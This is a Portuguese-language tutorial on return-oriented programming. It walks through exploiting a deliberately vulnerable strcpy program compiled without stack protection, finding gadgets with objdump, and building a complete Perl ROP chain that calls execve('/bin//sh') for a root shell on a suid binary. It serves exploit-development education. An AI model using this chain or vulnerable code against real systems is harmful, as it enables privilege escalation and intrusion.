Return-Oriented Programming na unha! 1) Introdução 2) Ambiente 3) Código 4) Payload 5) Exploit 6) Binário 7) Contato 8) Referências 1) Introdução Return-Oriented Programming é uma técnica de exploração que o atacante controlando a stack, encadeia endereços para instruções seguidas de um return, estes chamados de gadgets[1]. Esta técnica é muito interessante por passar por proteções como Executable space protection(NX, DEP, W^X)[2]. Existem ferramentas para encontrar os gadgets como ROPEME[3] e ROPgadget[4], este último capaz de gerar o payload, mas podemos encontrar os mesmos manualmente, ou seja, procurando pelas próprias instruções no binário. 2) Ambiente O ambiente de testes aqui foi o ubuntu 11.04, kernel 2.6.38 e gcc 4.5.2. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ cat /etc/issue.net Ubuntu 11.04 m0nad@m0nad-notebook:~$ uname -a Linux m0nad-notebook 2.6.38-13-generic #53-Ubuntu SMP Mon Nov 28 19:23:39 UTC 2011 i686 i686 i386 GNU/Linux m0nad@m0nad-notebook:~$ gcc --version gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2 Copyright (C) 2010 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. m0nad@m0nad-notebook:~$ ------------------------------------------------------------------------------------ As proteções do sistema operacional podem ser encontrada no wiki do ubuntu[5]. Podemos ver que o ASLR está ativo. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ cat /proc/sys/kernel/randomize_va_space 2 m0nad@m0nad-notebook:~$ ------------------------------------------------------------------------------------ 3) Código O código foi um stack-based buffer overflows clássico: ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ cat vuln.c #include int main(int argc, char ** argv) { char buffer[256]; if (argc < 2) return 1; strcpy(buffer, argv[1]); return 0; } ------------------------------------------------------------------------------------ Compilei sem Smash the Stack Protection(SSP - Propolice)[6], utilizando a opção -fno-stack-protector do gcc, e com a opção -static, assim ele ira compilar com todo o código estatico, possibilitando assim mais gadgets. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ gcc -o vuln vuln.c -fno-stack-protector -static -Wall -Wextra ------------------------------------------------------------------------------------ Rodamos o checksec.sh[7] para verificar as proteções no binário. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ bash checksec.sh --file vuln RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH vuln m0nad@m0nad-notebook:~$ ------------------------------------------------------------------------------------ Percebemos que estamos com RELRO parcial, sem SSP, com Non eXecute ativado, sem PIE, sem relative path ou runpath. 4) Payload A ideia do payload é a mesma de um shellcode normal, colocar a syscall de execve em eax, o endereço da string /bin//sh em ebx, e nesse caso ecx e edx apontando para NULL, utilizando do exemplo do payload que o ROPgadget gera, vamos usar a area de .data para colocar a string, usei o readelf para descobrir o endereço: ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ readelf -S vuln | grep 22 [22] .data PROGBITS 080cf020 086020 000740 00 WA 0 0 32 m0nad@m0nad-notebook:~$ ------------------------------------------------------------------------------------ Precisamos então dos gadgets, para isso usei o objdump, com a opção -D para 'disassemblar', e o grep, para achar expressões regulares das instruções. Primeiros gadgets que procurei foi para controlar os registradores, um pop %ecx seguido de ret: ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%ecx' -A2 | grep ret -B2 8053ed6: 59 pop %ecx 8053ed7: 5b pop %ebx 8053ed8: c3 ret -- -- 80cae04: 59 pop %ecx 80cae05: c3 ret m0nad@m0nad-notebook:~$ ------------------------------------------------------------------------------------ Legal, temos um pop %ebx | ret, e um pop %ecx | ret, vamos procurar um pop %edx | ret: ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%edx' -A2 | grep ret -B2 8053eac: 5a pop %edx 8053ead: c3 ret m0nad@m0nad-notebook:~$ ------------------------------------------------------------------------------------ Certo, um pop %eax | ret seria bom: ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%eax' -A2 | grep ret -B2 80cc415: 58 pop %eax 80cc416: 03 0a add (%edx),%ecx 80cc418: c3 ret m0nad@m0nad-notebook:~$ ------------------------------------------------------------------------------------ Hmm, achamos um, mas ele tem um efeito colateral do add (%edx),%ecx que precede o ret, vamos ver se temos uma maneira de mover de algum registrador para o eax: ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'mov\s*%e[b-d]x,%eax' -A1 | grep ret -B1 80770ac: 89 d0 mov %edx,%eax 80770ae: f3 c3 repz ret -- 80aa9a7: 89 d0 mov %edx,%eax 80aa9a9: c3 ret m0nad@m0nad-notebook:~$ ------------------------------------------------------------------------------------ Pronto, podemos usar o mov %edx,%eax | ret para controlar o eax, precisamos colocar o endereço de .data em algum registrador, e mover a string /bin//sh para esta área de memoria, para isso precisamos de mov de algum registrador que controlamos para uma área de memoria: ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'mov\s*%e[a-d]x,\(%e[a-d]x\)' -A1 | grep -E 'ret\s+' -B1 8080391: 89 02 mov %eax,(%edx) 8080393: c3 ret m0nad@m0nad-notebook:~$ ------------------------------------------------------------------------------------ Temos! precisamos então, de um xor %eax,%eax por exemplo, para colocarmos um null- byte na pilha. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'xor\s*%eax,%eax' -A1 | grep ret -B1 8051be1: 31 c0 xor %eax,%eax 8051be3: c3 ret -- 8051c00: 31 c0 xor %eax,%eax 8051c02: c3 ret -- 806d2f4: 31 c0 xor %eax,%eax 806d2f6: c3 ret -- 8070f9a: 31 c0 xor %eax,%eax 8070f9c: c3 ret -- 8071140: 31 c0 xor %eax,%eax 8071142: c3 ret -- 809d40f: 31 c0 xor %eax,%eax 809d411: c3 ret m0nad@m0nad-notebook:~$ ------------------------------------------------------------------------------------ Tem de sobra, bem, agora só precisamos de inc %eax, para colocarmos o valor correto de execve: ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'inc\s*%eax' -A1 | grep ret -B1 806d84f: 40 inc %eax 806d850: c3 ret -- 80c9dc3: 40 inc %eax 80c9dc4: c3 ret -- 80cbd20: 40 inc %eax 80cbd21: ca fa ff lret $0xfffa -- 80cefab: ff c0 inc %eax 80cefad: cf iret m0nad@m0nad-notebook:~$ ------------------------------------------------------------------------------------ Encontramos! E é claro, precisamos de um int $0x80 para chamar o kernel para executar a nossa syscall: ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'int\s*\$0x80' 80487bf: cd 80 int $0x80 8052f2c: cd 80 int $0x80 8053fa8: cd 80 int $0x80 80545f0: cd 80 int $0x80 8077023: cd 80 int $0x80 807a5c8: cd 80 int $0x80 808b355: cd 80 int $0x80 808b35e: cd 80 int $0x80 m0nad@m0nad-notebook:~$ ------------------------------------------------------------------------------------ Pronto, com esses gadgets é possível chamar um execve("/bin//sh", NULL, NULL). 5) Exploit O exploit basta usar os gadgets encontrados, primeiro colocamos a string "/bin" em eax. ------------------------------------------------------------------------------------ $p .= pack("I", 0x08053eac); # pop %edx | ret $p .= "/bin"; $p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret #eax = /bin ------------------------------------------------------------------------------------ Depois jogamos a string para .data. ------------------------------------------------------------------------------------ $p .= pack("I", 0x08053eac); # pop %edx | ret $p .= pack("I", 0x080cf020); # @ .data $p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret #.data = /bin ------------------------------------------------------------------------------------ Fazemos o mesmo para colocar "//sh" em .data + 4. ------------------------------------------------------------------------------------ $p .= pack("I", 0x08053eac); # pop %edx | ret $p .= "//sh"; $p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret #eax = //sh $p .= pack("I", 0x08053eac); # pop %edx | ret $p .= pack("I", 0x080cf024); # @ .data + 4 $p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret #.data = /bin//sh ------------------------------------------------------------------------------------ Usamos o gadget xor %eax,%eax | ret para colocar o null-byte no final da string em .data + 8. ------------------------------------------------------------------------------------ $p .= pack("I", 0x08053eac); # pop %edx | ret $p .= pack("I", 0x080cf028); # @ .data + 8 $p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret $p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret #.data = /bin//sh\0 ------------------------------------------------------------------------------------ Colocamos o endereço de data, ou seja da string /bin//sh em ebx, e ponteiro para NULL que é .data + 8. ------------------------------------------------------------------------------------ $p .= pack("I", 0x08053ed6); # pop %ecx | pop %ebx | ret $p .= pack("I", 0x080cf028); # @ .data + 8 $p .= pack("I", 0x080cf020); # @ .data $p .= pack("I", 0x08053eac); # pop %edx | ret $p .= pack("I", 0x080cf028); # @ .data + 8 #("/bin//sh", NULL, NULL); ------------------------------------------------------------------------------------ Pronto, basta usar o xor %eax,%eax | ret e inc %eax | ret para colocar o valor da syscall execve (0xb) em eax, e chamar o int $0x80 | ret. ------------------------------------------------------------------------------------ $p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0808b35e); # int $0x80 print $p; ------------------------------------------------------------------------------------ Vamos ao exploit completo! ------------------------------------------------------------------------------------ #!/usr/bin/perl use strict; my $p = "a" x 268; $p .= pack("I", 0x08053eac); # pop %edx | ret $p .= "/bin"; $p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret #eax = /bin $p .= pack("I", 0x08053eac); # pop %edx | ret $p .= pack("I", 0x080cf020); # @ .data $p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret #.data = /bin $p .= pack("I", 0x08053eac); # pop %edx | ret $p .= "//sh"; $p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret #eax = //sh $p .= pack("I", 0x08053eac); # pop %edx | ret $p .= pack("I", 0x080cf024); # @ .data + 4 $p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret #.data = /bin//sh $p .= pack("I", 0x08053eac); # pop %edx | ret $p .= pack("I", 0x080cf028); # @ .data + 8 $p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret $p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret #.data = /bin//sh\0 $p .= pack("I", 0x08053ed6); # pop %ecx | pop %ebx | ret $p .= pack("I", 0x080cf028); # @ .data + 8 $p .= pack("I", 0x080cf020); # @ .data $p .= pack("I", 0x08053eac); # pop %edx | ret $p .= pack("I", 0x080cf028); # @ .data + 8 #("/bin//sh", NULL, NULL); $p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0806d84f); # inc %eax | ret $p .= pack("I", 0x0808b35e); # int $0x80 print $p; ------------------------------------------------------------------------------------ Para a exploração vamos colocar em suid root para fins de demonstração: ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ sudo chown root:root vuln [sudo] password for m0nad: m0nad@m0nad-notebook:~$ sudo chmod +s vuln ------------------------------------------------------------------------------------ E finalmente a exploitação: ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ ./vuln "$(perl xpl_vuln.pl)" # id uid=1000(m0nad) gid=1000(m0nad) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(m0nad) # ------------------------------------------------------------------------------------ r00t! 6) Binário O binário e exploit utilizados podem ser encontrado no meu github[8]. 7) Contato - Victor Ramos Mello (m0nad) - victornrm at gmail.com | m0nad at email.com - @m0nadlabs - m0nadlabs.wordpress.com 8) Referências [1] http://en.wikipedia.org/wiki/Executable_space_protection [2] http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html [3] http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/ [4] http://shell-storm.org/project/ROPgadget/ [5] https://wiki.ubuntu.com/Security/Features [6] http://en.wikipedia.org/wiki/Stack-smashing_protection [7] http://www.trapkit.de/tools/checksec.html [8] https://github.com/m0nad/Papers/tree/master/ropnaunha/bin